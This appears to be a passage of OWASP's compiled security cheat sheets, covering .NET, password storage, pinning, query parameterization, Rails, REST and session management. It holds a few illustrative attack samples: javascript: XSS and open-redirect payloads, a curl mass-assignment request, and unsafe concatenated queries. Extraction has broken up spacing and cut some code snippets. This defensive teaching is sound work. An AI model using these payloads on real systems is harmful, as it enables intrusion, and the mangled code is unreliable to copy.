end devices, at intermediate points, in centralized repositories and in archives and
backups. Consider whether parts of the data may need to be excluded, masked,
sanitized, hashed or encrypted during examination or extraction.
At rest:
Build in tamper detection so you know if a record has been modified or deleted
Store or copy log data to read-only media as soon as possible
All access to the logs must be recorded and monitored (and may need prior
approval)
The privileges to read log data should be restricted and reviewed periodically
In transit:
If log data is sent over untrusted networks (e.g. for collection, for dispatch
elsewhere, for analysis, for reporting), use a secure transmission protocol
Consider whether the origin of the event data needs to be verified
Perform due diligence checks (regulatory and security) before sending event
data to third parties
See NIST SP 800-92 Guide to Computer Security Log Management for more guidance.
88
12.7. References
1. https://www.owasp.org/index.php/Logging_Cheat_Sheet
2. http://www.owasp.org/index.php/Category:OWASP_Enterprise_
Security_API
3. https://www.owasp.org/index.php/Category:OWASP_Logging_Project
89
14. http://www.symantec.com/connect/articles/building-secure-applications-con
90
13.1. Introduction
This page intends to provide quick basic .NET security tips for developers.
91
13.2.2. Encryption
Never, ever write your own encryption.
Use the Windows Data Protection API (DPAPI) [10] for secure local storage of
sensitive data.
The standard .NET framework libraries only offer unauthenticated encryption
implementations. Authenticated encryption modes such as AES-GCM based
on the underlying newer, more modern Cryptography API: Next Generation are
available via the CLRSecurity library [11].
Use a strong hash algorithm.
In .NET 4.5 the strongest algorithm for password hashing is PBKDF2, implemented as System.Security.Cryptography.Rfc2898DeriveBytes [12].
In .NET 4.5 the strongest hashing algorithm for general hashing requirements is System.Security.Cryptography.SHA512 [13].
When using a hashing function to hash non-unique inputs such as passwords, use a salt value added to the original value before hashing.
Make sure your application or protocol can easily support a future change of
cryptographic algorithms.
Use Nuget to keep all of your packages up to date. Watch the updates on your
development setup, and plan updates to your applications accordingly.
13.2.3. General
Always check the MD5 hashes of the .NET Framework assemblies to prevent
the possibility of rootkits in the framework. Altered assemblies are possible
and simple to produce. Checking the MD5 hashes will prevent using altered
assemblies on a server or client machine. See [14].
Lock down the config file.
Remove all aspects of configuration that are not in use.
Encrypt sensitive parts of the web.config using aspnet_regiis -pe
92
If you dont use Viewstate, then look to the default master page of the ASP.NET
Web Forms default template for a manual anti-CSRF token using a doublesubmit cookie.
p r i v a t e const s t r i n g AntiXsrfTokenKey = " __AntiXsrfToken " ;
p r i v a t e const s t r i n g AntiXsrfUserNameKey = " __AntiXsrfUserName " ;
p r i v a t e s t r i n g _antiXsrfTokenValue ;
protected void Page_Init ( o b j e c t sender , EventArgs e ) {
// The code below helps to protect against XSRF attacks
var requestCookie = Request . Cookies [ AntiXsrfTokenKey ] ;
Guid requestCookieGuidValue ;
i f ( requestCookie ! = null && Guid . TryParse ( requestCookie . Value , out
, requestCookieGuidValue ) ) {
// Use the AntiXSRF token from the cookie
_antiXsrfTokenValue = requestCookie . Value ;
Page . ViewStateUserKey = _antiXsrfTokenValue ;
} else {
// Generate a new AntiXSRF token and save to the cookie
_antiXsrfTokenValue = Guid . NewGuid ( ) . ToString ( " N " ) ;
Page . ViewStateUserKey = _antiXsrfTokenValue ;
var responseCookie = new HttpCookie ( AntiXsrfTokenKey ) {
HttpOnly = true , Value = _antiXsrfTokenValue
};
i f ( FormsAuthentication . RequireSSL && Request . IsSecureConnection )
, {
responseCookie . Secure = true ;
} Response . Cookies . Set ( responseCookie ) ;
} Page . PreLoad += master_Page_PreLoad ;
}
protected void master_Page_PreLoad ( o b j e c t sender , EventArgs e ) {
i f ( ! IsPostBack ) {
// Set AntiXSRF token
ViewState [ AntiXsrfTokenKey ] = Page . ViewStateUserKey ;
ViewState [ AntiXsrfUserNameKey ] = Context . User . I d e n t i t y .Name ??
, String . Empty ;
} else {
// Validate the AntiXSRF token
i f ( ( s t r i n g ) ViewState [ AntiXsrfTokenKey ] ! = _antiXsrfTokenValue
|| ( s t r i n g ) ViewState [ AntiXsrfUserNameKey ] ! = ( Context . User .
, I d e n t i t y .Name ?? String . Empty ) ) {
throw new InvalidOperationException ( " Validation o f AntiXSRF
, token f a i l e d . " ) ;
}
93
Dont trust the URI of the request for persistence of the session or authorization.
It can be easily faked.
Reduce the forms authentication timeout from the default of 20 minutes to the
shortest period appropriate for your application. If slidingExpiration is used
this timeout resets after each request, so active users wont be affected.
If HTTPS is not used, slidingExpiration should be disabled. Consider disabling
slidingExpiration even with HTTPS.
Always implement proper access controls.
Compare user provided username with User.Identity.Name.
Check roles against User.Identity.IsInRole.
94
Use the AntiForgeryToken on every form post to prevent CSRF attacks. In the
HTML:
<% using ( Html . Form ( " Form" , " Update " ) ) { %>
<%= Html . AntiForgeryToken ( ) %>
<% } %>
Maintain security testing and analysis on Web API services. They are hidden
inside MEV sites, and are public parts of a site that will be found by an attacker.
All of the MVC guidance and much of the WCF guidance applies to the Web API.
95
13.9. References
1. https://www.owasp.org/index.php/.NET_Security_Cheat_Sheet
2. http://windowsupdate.microsoft.com/
3. http://nuget.codeplex.com/wikipage?title=Getting%
20Started&referringTitle=Home
4. http://msdn.microsoft.com/en-us/library/ms175528(v=sql.105).aspx
5. http://msdn.microsoft.com/en-us/library/system.data.sqlclient.
sqlcommand.aspx
6. http://msdn.microsoft.com/en-us/library/ms182310.aspx
7. http://msdn.microsoft.com/en-us/library/f02979c7.aspx
96
97
14.1. Introduction
Media covers the theft of large collections of passwords on an almost daily basis.
Media coverage of password theft discloses the password storage scheme, the weakness of that scheme, and often discloses a large population of compromised credentials that can affect multiple web sites or other applications. This article provides
guidance on properly storing passwords, secret question responses, and similar credential information. Proper storage helps prevent theft, compromise, and malicious
use of credentials. Information systems store passwords and other credentials in a
variety of protected forms. Common vulnerabilities allow the theft of protected passwords through attack vectors such as SQL Injection. Protected passwords can also
be stolen from artifacts such as logs, dumps, and backups.
Specific guidance herein protects against stored credential theft but the bulk of guidance aims to prevent credential compromise. That is, this guidance helps designs resist revealing users credentials or allowing system access in the event threats steal
protected credential information. For more information and a thorough treatment of
this topic, refer to the Secure Password Storage Threat Model [2].
14.2. Guidance
14.2.1. Do not limit the character set and set long max lengths for credentials
Some organizations restrict the 1) types of special characters and 2) length of credentials accepted by systems because of their inability to prevent SQL Injection,
Cross-site scripting, command-injection and other forms of injection attacks. These
restrictions, while well-intentioned, facilitate certain simple attacks such as brute
force.
Do not apply short or no length, character set, or encoding restrictions on the entry
or storage of credentials. Continue applying encoding, escaping, masking, outright
omission, and other best practices to eliminate injection risks.
A reasonable long password length is 160. Very long password policies can lead to
DOS in certain circumstances [3].
98
99
Upholding security improvement over (solely) salted schemes relies on proper key
management.
For instance, one might set work factors targeting the following run times: (1) Password-generated
session key - fraction of a second; (2) User credential - ~0.5 seconds; (3) Password-generated site (or
other long-lived) key - potentially a second or more.
100
14.5. References
1. https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet
2. http://goo.gl/Spvzs
3. http://arstechnica.com/security/2013/09/long-passwords-are-good-but-too-m
4. http://docs.oracle.com/javase/6/docs/api/java/security/
SecureRandom.html
5. Space-based (Lookup) attacks: Space-time Tradeoff: Hellman, M., Crypanalytic
Time-Memory Trade-Off, Transactions of Information Theory, Vol. IT-26, No.
4, July, 1980 http://www-ee.stanford.edu/~hellman/publications/36.
pdf; Rainbow Tables http://ophcrack.sourceforge.net/tables.php
6. Kalski, B., PKCS #5: Password-Based Cryptography Specification Version 2.0,
IETF RFC 2898 https://tools.ietf.org/html/rfc2898, September, 2000,
p9 http://www.ietf.org/rfc/rfc2898.txt
7. Percival, C., Stronger Key Derivation Via Sequential Memory-Hard Functions,
BSDCan 09, May, 2009 http://www.tarsnap.com/scrypt/scrypt.pdf
8. http://images.apple.com/ipad/business/docs/iOS_Security_May12.
pdf
101
15.1. Introduction
The Pinning Cheat Sheet is a technical guide to implementing certificate and public
key pinning as discussed at the Virginia chapters presentation Securing Wireless
Channels in the Mobile Space [2]. This guide is focused on providing clear, simple,
actionable guidance for securing the channel in a hostile environment where actors
could be malicious and the conference of trust a liability.
A verbose article is available at Certificate and Public Key Pinning [3]. The article
includes additional topics, such as Alternatives to Pinning, Ephemeral Keys, Pinning
Gaps, Revocation, and X509 Validation.
102
15.4.1. Certificate
The certificate is easiest to pin. You can fetch the certificate out of band for the
website, have the IT folks email your company certificate to you, use openssl s_client
to retrieve the certificate etc. At runtime, you retrieve the website or servers certificate in the callback. Within the callback, you compare the retrieved certificate with
the certificate embedded within the program. If the comparison fails, then fail the
method or function.
There is a downside to pinning a certificate. If the site rotates its certificate on a
regular basis, then your application would need to be updated regularly. For example, Google rotates its certificates, so you will need to update your application about
once a month (if it depended on Google services). Even though Google rotates its
certificates, the underlying public keys (within the certificate) remain static.
15.4.3. Hashing
While the three choices above used DER encoding, its also acceptable to use a hash
of the information. In fact, the original sample programs were written using digested
103
15.5.1. Android
Pinning in Android is accomplished through a custom X509TrustManager.
X509TrustManager should perform the customary X509 checks in addition to performing the pin.
Download: Android sample program [5]
15.5.2. iOS
iOS pinning is performed through a NSURLConnectionDelegate.
The delegate
must
implement
connection:canAuthenticateAgainstProtectionSpace:
and
connection:didReceiveAuthenticationChallenge:.
Within
connection:didReceiveAuthenticationChallenge:, the delegate must call SecTrustEvaluate
to perform customary X509 checks.
Download: iOS sample program [6].
15.5.3. .Net
.Net pinning can be achieved by using ServicePointManager.
Download: .Net sample program [7].
15.5.4. OpenSSL
Pinning can occur at one of two places with OpenSSL. First is the user
supplied verify_callback.
Second is after the connection is established via
SSL_get_peer_certificate. Either method will allow you to access the peers certificate.
Though OpenSSL performs the X509 checks, you must fail the connection and tear
down the socket on error. By design, a server that does not supply a certificate will
result in X509_V_OK with a NULL certificate. To check the result of the customary
verification: (1) you must call SSL_get_verify_result and verify the return code is
104
Validation,
https://www.owasp.org/index.php/Data_
15.8. References
1. https://www.owasp.org/index.php/Pinning_Cheat_Sheet
2. https://www.owasp.org/images/8/8f/Securing-Wireless-Channels-in-the-Mobil
ppt
105
106
16.1. Introduction
SQL Injection [2] is one of the most dangerous web vulnerabilities. So much so that
its the #1 item in the OWASP Top 10 [3]. It represents a serious threat because
SQL Injection allows evil attacker code to change the structure of a web applications
SQL statement in a way that can steal data, modify data, or potentially facilitate
command injection to the underlying OS. This cheat sheet is a derivative work of the
SQL Injection Prevention Cheat Sheet on page 139.
Java - Hibernate
//HQL
Query safeHQLQuery = session . createQuery ( " from Inventory where
, productID =: productid " ) ;
safeHQLQuery . setParameter ( " productid " , userSuppliedParameter ) ;
// C r i t e r i a API
String userSuppliedParameter = request . getParameter ( " Product
, Description " ) ;
// This should REALLY be validated too
// perform input v a l i d a t i o n to detect attacks
Inventory inv = ( Inventory ) session . c r e a t e C r i t e r i a ( Inventory . class ) .
, add
( R e s t r i c t i o n s . eq ( " productDescription " , userSuppliedParameter ) ) .
, uniqueResult ( ) ;
107
ASP.NET
s t r i n g s q l = "SELECT * FROM Customers WHERE CustomerId = @CustomerId " ;
SqlCommand command = new SqlCommand( s q l ) ;
command. Parameters . Add ( new SqlParameter ( " @CustomerId " , System . Data .
, SqlDbType . I n t ) ) ;
command. Parameters [ " @CustomerId " ] . Value = 1;
Ruby - ActiveRecord
# Create
P r o j e c t . create ! ( : name => owasp )
# Read
P r o j e c t . a l l ( : conditions => "name = ? " , name)
P r o j e c t . a l l ( : conditions => { :name => name } )
P r o j e c t . where ( " name = :name" , :name => name)
# Update
p r o j e c t . update_attributes ( : name => owasp )
# Delete
P r o j e c t . d e l e t e ( : name => name )
Ruby
insert_new_user = db . prepare "INSERT INTO users ( name, age , gender )
, VALUES ( ? , ? , ? ) "
insert_new_user . execute a i z a t t o , 2 0 , male
PHP - PDO
$stmt = $dbh>prepare ( " INSERT INTO REGISTRY ( name, value ) VALUES ( :
, name, : value ) " ) ;
$stmt>bindParam ( : name , $name) ;
$stmt>bindParam ( : value , $value ) ;
Cold Fusion
<cfquery name = " g e t F i r s t " dataSource = " cfsnippets " >
SELECT * FROM #strDatabasePrefix#_courses WHERE intCourseID = <
, cfqueryparam value = #intCourseID# CFSQLType = "CF_SQL_INTEGER
, " >
</cfquery >
Perl - DBI
my $sql = "INSERT INTO foo ( bar , baz ) VALUES ( ? , ? ) " ;
my $sth = $dbh>prepare ( $sql ) ;
$sth>execute ( $bar , $baz ) ;
108
Oracle - PL/SQL
Stored Procedure Using Bind Variables in SQL Run with EXECUTE. Bind variables are used to tell the database that the inputs to this dynamic SQL are data
and not possibly code.
PROCEDURE AnotherSafeGetBalanceQuery ( UserID varchar , Dept varchar )
AS stmt VARCHAR(400) ; r e s u l t NUMBER; BEGIN
stmt := SELECT balance FROM accounts_table WHERE user_ID = :1
AND department = : 2 ;
EXECUTE IMMEDIATE stmt INTO r e s u l t USING UserID , Dept ;
RETURN r e s u l t ;
END;
SQL Server-Transact-SQL
Normal Stored Procedure - no dynamic SQL being created. Parameters passed
in to stored procedures are naturally bound to their location within the query
without anything special being required.
PROCEDURE SafeGetBalanceQuery ( @UserID varchar ( 2 0 ) , @Dept varchar ( 1 0 ) )
AS BEGIN
SELECT balance FROM accounts_table WHERE user_ID = @UserID AND
, department = @Dept
END
SQL Server-Transact-SQL
Stored Procedure Using Bind Variables in SQL Run with EXEC. Bind variables
are used to tell the database that the inputs to this dynamic SQL are data and
not possibly code.
PROCEDURE SafeGetBalanceQuery ( @UserID varchar ( 2 0 ) , @Dept varchar ( 1 0 ) )
AS BEGIN
DECLARE @sql VARCHAR(200)
SELECT @sql = SELECT balance FROM accounts_table WHERE +
, user_ID = @UID AND department = @DPT
EXEC sp_executesql @sql , @UID VARCHAR( 2 0 ) , @DPT VARCHAR( 1 0 ) , @UID
, =@UserID , @DPT=@Dept
END
109
16.5. References
1. https://www.owasp.org/index.php/Query_Parameterization_Cheat_
Sheet
2. https://www.owasp.org/index.php/SQL_Injection
3. https://www.owasp.org/index.php/Top_10_2013-A1
4. https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_
Sheet#Defense_Option_1:_Prepared_Statements_.28Parameterized_
Queries.29
110
17.1. Introduction
This Cheatsheet intends to provide quick basic Ruby on Rails security tips for developers. It complements, augments or emphasizes points brought up in the rails
security guide [2] from rails core. The Rails framework abstracts developers from
quite a bit of tedious work and provides the means to accomplish complex tasks
quickly and with ease. New developers, those unfamiliar with the inner-workings
of Rails, likely need a basic set of guidelines to secure fundamental aspects of their
application. The intended purpose of this doc is to be that guide.
17.2. Items
17.2.1. Command Injection
Ruby offers a function called "eval" which will dynamically build new Ruby code
based on Strings. It also has a number of ways to call system commands.
eval ( " ruby code here " )
System ( " os command here " )
l s a l / ( backticks contain os command)
Kernel . exec ( " os command here " )
While the power of these commands is quite useful, extreme care should be taken
when using them in a Rails based application. Usually, its just a bad idea. If need
be, a whitelist of possible values should be used and any input should be validated
as thoroughly as possible. The Ruby Security Reviewers Guide has a section on
injection [3] and there are a number of OWASP references for it, starting at the top:
Command Injection [4].
In both of these cases, the statement is injectable because the name parameter is
not escaped.
Here is the idiom for building this kind of statement:
111
Use caution not to build SQL statements based on user controlled input. A list of
more realistic and detailed examples is here [5]: . OWASP has extensive information
about SQL Injection [6].
Unfortunately, any field that uses raw like this will be a potential XSS target. Note
that there are also widespread misunderstandings about html_safe. This writeup [7]
describes the underlying SafeBuffer mechanism in detail. Other tags that change
the way strings are prepared for output can introduce similar issues, including content_tag.
If you must accept HTML content from users, consider a markup language for rich
text in an application (Examples include: markdown and textile) and disallow HTML
tags. This helps ensures that the input accepted doesnt include HTML content that
could be malicious. If you cannot restrict your users from entering HTML, consider
implementing content security policy to disallow the execution of any javascript. And
finally, consider using the #sanitize method that lets you whitelist allowed tags. Be
careful, this method has been shown to be flawed numerous times and will never be
a complete solution.
An often overlooked XSS attack vector is the href value of a link:
<%= l i n k _ t o " Personal Website " , @user . website %>
If @user.website contains a link that starts with "javascript:", the content will execute
when a user clicks the generated link:
<a href =" j a v a s c r i p t : a l e r t ( Haxored ) " > Personal Website</a>
OWASP provides more general information about XSS in a top level page: OWASP
Cross Site Scripting [8].
17.2.4. Sessions
By default, Ruby on Rails uses a Cookie based session store. What that means is
that unless you change something, the session will not expire on the server. That
means that some default applications may be vulnerable to replay attacks. It also
means that sensitive information should never be put in the session.
The best practice is to use a database based session, which thankfully is very easy
with Rails:
112
P r o j e c t : : Application . c o n f i g . session_store : a c t i v e _ r e c o r d _ s t o r e
17.2.5. Authentication
Generally speaking, Rails does not provide authentication by itself. However, most
developers using Rails leverage libraries such as Devise or AuthLogic to provide authentication. To enable authentication with Devise, one simply has to put the following in a controller:
class P r o j e c t C o n t r o l l e r < Applic ationContr oller
b e f o r e _ f i l t e r : authenticate_user
As with other methods, this supports exceptions. Note that by default Devise only
requires 6 characters for a password. The minimum can be changed in: /config/initializers/devise.rb
c o n f i g . password_length = 8..128
There are several possible ways to enforce complexity. One is to put a Validator in
the user model.
v a l i d a t e : password_complexity
def password_complexity
i f password . present? and not password . match(/\A ( ? = . * [ az ] ) ( ? = . * [ AZ ] )
, ( ? = . * \ d ) .+\ z / )
errors . add : password , "must include at l e a s t one lowercase l e t t e r , one
, uppercase l e t t e r , and one d i g i t "
end
end
113
Also note that by default Rails does not provide CSRF protection for any HTTP GET
request.
There is a top level OWASP page for CSRF [12].
With the admin attribute accessible based on the example above, the following could
work:
curl d " p r o j e c t [name] = t r i a g e&p r o j e c t [ admin] = 1 " host : port/ p r o j e c t s
Review accessible attributes to ensure that they should be accessible. If you are
working in Rails < 3.2.3 you should ensure that your attributes are whitelisted with
the following:
c o n f i g . active_record . w h i t e l i s t _ a t t r i b u t e s = true
In Rails 4.0 strong parameters will be the recommended approach for handling attribute visibility. It is also possible to use the strong_parameters gem with Rails 3.x,
and the strong_parameters_rails2 gem for Rails 2.3.x applications.
114
begin
i f path = URI . parse ( params [ : url ] ) . path
r e d i r e c t _ t o path
end
rescue URI : : InvalidURIError
redirect_to /
end
If matching user input against a list of approved sites or TLDs against regular expression is a must, it makes sense to leverage a library such as URI.parse() to obtain the
host and then take the host value and match it against regular expression patterns.
Those regular expressions must, at a minimum, have anchors or there is a greater
chance of an attacker bypassing the validation routine.
Example:
require uri
host = URI . parse ( " # { params [ : url ] } " ) . host
v a l i d a t i o n _ r o u t i n e ( host ) i f host # t h i s can be vulnerable to j a v a s c r i p t ://
, trusted .com/%0A a l e r t ( 0 ) so check . scheme and . port too
def v a l i d a t i o n _ r o u t i n e ( host )
# Validation routine where we use \A and \z as anchors * not * ^ and $
# you could also check the host value against a w h i t e l i s t
end
Also blind redirecting to user input parameter can lead to XSS. Example:
r e d i r e c t _ t o params [ : to ]
http ://example .com/ r e d i r e c t ? to [ status]=200&to [ protocol ] = j a v a s c r i p t : a l e r t ( 0 )
, //
The obvious fix for this type of vulnerability is to restrict to specific Top-Level Domains (TLDs), statically define specific sites, or map a key to its value. Example:
ACCEPTABLE_URLS = {
our_app_1 => " https ://www. example_commerce_site .com/checkout " ,
our_app_2 => " https ://www. example_user_site .com/change_settings "
}
http://www.example.com/redirect?url=our_app_1
def r e d i r e c t
url = ACCEPTABLE_URLS[ " # { params [ : url ] } " ]
r e d i r e c t _ t o url i f url
end
There is a more general OWASP resource about Unvalidated Redirects and Forwards
on page 166.
115
config/application.rb
module Sample
class Application < Rails : : Application
c o n f i g . middleware . use Rack : : Cors do
allow do
o r i g i n s someserver . example .com
resource %r { / users/\d+. json } ,
: headers => [ Origin , Accept ,
: methods => [ : post , : get ]
end
end
end
end
ContentType ] ,
Rails 4 provides the "default_headers" functionality that will automatically apply the
values supplied. This works for most headers in almost all cases.
ActionDispatch : : Response . default_headers = {
XFrameOptions => DENY ,
XContentTypeOptions => nosniff ,
XXSSProtection => 1 ;
}
Strict transport security is a special case, it is set in an environment file (e.g. production.rb)
c o n f i g . f o r c e _ s s l = true
116
In this case, this route allows any public method on any controller to be called as
an action. As a developer, you want to make sure that users can only reach the
controller methods intended and in the way intended.
17.2.16. Encryption
Rails uses OS encryption. Generally speaking, it is always a bad idea to write your
own encryption.
Devise by default uses bcrypt for password hashing, which is an appropriate solution.
Typically, the following config causes the 10 stretches for production: /config/initializers/devise.rb
c o n f i g . stretches = Rails . env . t e s t ? ? 1 : 10
117
17.4. Tools
Use brakeman [14], an open source code analysis tool for Rails applications, to identify many potential issues. It will not necessarily produce comprehensive security
findings, but it can find easily exposed issues. A great way to see potential issues in
Rails is to review the brakeman documentation of warning types.
There are emerging tools that can be used to track security issues in dependency
sets, like [15] and [16].
Another area of tooling is the security testing tool Gauntlt [17] which is built on
cucumber and uses gherkin syntax to define attack files.
Launched in May 2013 and very similiar to brakeman scanner, the codesake-dawn
[18] rubygem is a static analyzer for security issues that work with Rails, Sinatra
and Padrino web applications. Version 0.60 has more than 30 ruby specific cve
security checks and future releases custom checks against Cross Site Scripting and
SQL Injections will be added
Security
Guide,
http://guides.rubyonrails.org/
Guide,
http://code.google.com/p/
118
17.7. References
1. https://www.owasp.org/index.php/Ruby_on_Rails_Cheatsheet
2. http://guides.rubyonrails.org/security.html
3. http://code.google.com/p/ruby-security/wiki/Guide#Good_ol%27_
shell_injection
4. https://www.owasp.org/index.php/Command_Injection
5. rails-sqli.org
6. https://www.owasp.org/index.php/SQL_Injection
7. http://stackoverflow.com/questions/4251284/
raw-vs-html-safe-vs-h-to-unescape-html
8. https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29
9. https://github.com/CanCanCommunity/cancancan
10. https://github.com/elabs/pundit
11. https://www.owasp.org/index.php/Top_10_2010-A4-Insecure_Direct_
Object_References
12. https://www.owasp.org/index.php/Cross-Site_Request_Forgery_
%28CSRF%29
13. https://github.com/twitter/secureheaders
14. http://brakemanscanner.org/
15. https://gemcanary.com/
16. https://gemnasium.com/
17. http://gauntlt.org/
18. http://rubygems.org/gems/codesake-dawn
119
18.1. Introduction
REST [2] (or REpresentational State Transfer) is a means of expressing specific entities in a system by URL path elements. REST is not an architecture but it is an
architectural style to build services on top of the Web. REST allows interaction with
a web-based system via simplified URLs rather than complex request body or POST
parameters to request specific items from the system. This document serves as a
guide (although not exhaustive) of best practices to help REST-based services.
(API
(trans-
120
18.3. Authorization
18.3.1. Anti-farming
Many RESTful web services are put up, and then farmed, such as a price matching
website or aggregation service. Theres no technical method of preventing this use, so
strongly consider means to encourage it as a business model by making high velocity
farming is possible for a fee, or contractually limiting service using terms and conditions. CAPTCHAs and similar methods can help reduce simpler adversaries, but
not well funded or technically competent adversaries. Using mutually assured client
side TLS certificates may be a method of limiting access to trusted organizations, but
this is by no means certain, particularly if certificates are posted deliberately or by
accident to the Internet.
121
122
123
18.6. Cryptography
18.6.1. Data in transit
Unless the public information is completely read-only, the use of TLS should be mandated, particularly where credentials, updates, deletions, and any value transactions
are performed. The overhead of TLS is negligible on modern hardware, with a minor
latency increase that is more than compensated by safety for the end user.
Consider the use of mutually authenticated client-side certificates to provide additional protection for highly privileged web services.
18.8. References
1. https://www.owasp.org/index.php/REST_Security_Cheat_Sheet
2. http://en.wikipedia.org/wiki/Representational_state_transfer
3. https://www.aspectsecurity.com/wp-content/plugins/
download-monitor/download.php?id=18
4. https://www.owasp.org/index.php/XML_External_Entity_(XXE)
_Processing
5. http://ws-attacks.org
6. https://jersey.java.net/
124
125
19.1. Introduction
Web Authentication, Session Management, and Access Control
A web session is a sequence of network HTTP request and response transactions
associated to the same user. Modern and complex web applications require the retaining of information or status about each user for the duration of multiple requests.
Therefore, sessions provide the ability to establish variables such as access rights
and localization settings which will apply to each and every interaction a user has
with the web application for the duration of the session.
Web applications can create sessions to keep track of anonymous users after the very
first user request. An example would be maintaining the user language preference.
Additionally, web applications will make use of sessions once the user has authenticated. This ensures the ability to identify the user on any subsequent requests as
well as being able to apply security access controls, authorized access to the user
private data, and to increase the usability of the application. Therefore, current web
applications can provide session capabilities both pre and post authentication.
Once an authenticated session has been established, the session ID (or token) is
temporarily equivalent to the strongest authentication method used by the application, such as username and password, passphrases, one-time passwords (OTP),
client-based digital certificates, smartcards, or biometrics (such as fingerprint or eye
retina). See the OWASP Authentication Cheat Sheet on page 12.
HTTP is a stateless protocol (RFC2616 [9]), where each request and response pair is
independent of other web interactions. Therefore, in order to introduce the concept of
a session, it is required to implement session management capabilities that link both
the authentication and access control (or authorization) modules commonly available
in web applications:
The session ID or token binds the user authentication credentials (in the form of a
user session) to the user HTTP traffic and the appropriate access controls enforced
by the web application. The complexity of these three components (authentication,
session management, and access control) in modern web applications, plus the fact
that its implementation and binding resides on the web developers hands (as web
development framework do not provide strict relationships between these modules),
makes the implementation of a secure session management module very challenging.
The disclosure, capture, prediction, brute force, or fixation of the session ID will
lead to session hijacking (or sidejacking) attacks, where an attacker is able to fully
126
127
128
129
19.4. Cookies
The session ID exchange mechanism based on cookies provides multiple security
features in the form of cookie attributes that can be used to protect the exchange of
the session ID:
130
131
132
In order to close and invalidate the session on the server side, it is mandatory for
the web application to take active actions when the session expires, or the user
actively logs out, by using the functions and methods offered by the session management mechanisms, such as "HttpSession.invalidate()" (J2EE), "Session.Abandon()"
(ASP .NET) or "session_destroy()/unset()" (PHP).
133
134
135
136
137
19.11. References
1. https://www.owasp.org/index.php/Session_Management_Cheat_Sheet
2. https://tools.ietf.org/html/rfc2396
3. OWASP Cookies Database. OWASP, https://www.owasp.org/index.php/
Category:OWASP_Cookies_Database
4. "HTTP State Management Mechanism". RFC 6265. IETF, http://tools.ietf.
org/html/rfc6265
5. Insufficient Session-ID Length. OWASP, https://www.owasp.org/index.
php/Insufficient_Session-ID_Length
6. Session Fixation. Mitja Kolek.
papers/session_fixation.pdf
2002, http://www.acrossecurity.com/
7. "SAP: Session (Fixation) Attacks and Protections (in Web Applications)". Raul
Siles. BlackHat EU 2011,
https://media.blackhat.com/bh-eu-11/Raul_Siles/BlackHat_EU_2011_
Siles_SAP_Session-Slides.pdf
https://media.blackhat.com/bh-eu-11/Raul_Siles/BlackHat_EU_2011_
Siles_SAP_Session-WP.pdf
8. "Hypertext Transfer Protocol HTTP/1.1". RFC2616. IETF, http://tools.
ietf.org/html/rfc2616
9. OWASP ModSecurity Core Rule Set (CSR) Project.
OWASP, https:
//www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_
Set_Project
10. OWASP AppSensor Project. OWASP, https://www.owasp.org/index.php/
Category:OWASP_AppSensor_Project
11. PopUp LogOut Firefox add-on https://addons.mozilla.org/en-US/
firefox/addon/popup-logout/ & http://popuplogout.iniqua.com
12. How and why session IDs are reused in ASP.NET https://support.
microsoft.com/en-us/kb/899918
138
20.1. Introduction
This article is focused on providing clear, simple, actionable guidance for preventing
SQL Injection flaws in your applications. SQL Injection [2] attacks are unfortunately
very common, and this is due to two factors:
1. the significant prevalence of SQL Injection vulnerabilities, and
2. the attractiveness of the target (i.e., the database typically contains all the interesting/critical data for your application).
Its somewhat shameful that there are so many successful SQL Injection attacks
occurring, because it is EXTREMELY simple to avoid SQL Injection vulnerabilities in
your code.
SQL Injection flaws are introduced when software developers create dynamic
database queries that include user supplied input. To avoid SQL injection flaws
is simple. Developers need to either: a) stop writing dynamic queries; and/or b) prevent user supplied input which contains malicious SQL from affecting the logic of
the executed query.
This article provides a set of simple techniques for preventing SQL Injection vulnerabilities by avoiding these two problems. These techniques can be used with
practically any kind of programming language with any type of database. There are
other types of databases, like XML databases, which can have similar problems (e.g.,
XPath and XQuery injection) and these techniques can be used to protect them as
well.
Primary Defenses:
Option #1: Use of Prepared Statements (Parameterized Queries)
Option #2: Use of Stored Procedures
Option #3: Escaping all User Supplied Input
Additional Defenses:
Also Enforce: Least Privilege
Also Perform: White List Input Validation
Unsafe Example
SQL injection flaws typically look like this:
The following (Java) example is UNSAFE, and would allow an attacker to inject code
into the query that would be executed by the database. The unvalidated "customerName" parameter that is simply appended to the query allows an attacker to inject
any SQL code they want. Unfortunately, this method for accessing databases is all
too common.
139
140
We have shown examples in Java and .NET but practically all other languages, including Cold Fusion, and Classic ASP, support parameterized query interfaces. Even
SQL abstraction layers, like the Hibernate Query Language [4] (HQL) have the same
type of injection problems (which we call HQL Injection [5]). HQL supports parameterized queries as well, so we can avoid this problem:
Hibernate Query Language (HQL) Prepared Statement (Named Parameters)
Examples
F i r s t i s an unsafe HQL Statement
Query unsafeHQLQuery = session . createQuery ( " from Inventory where productID
, = " + userSuppliedParameter + " " ) ;
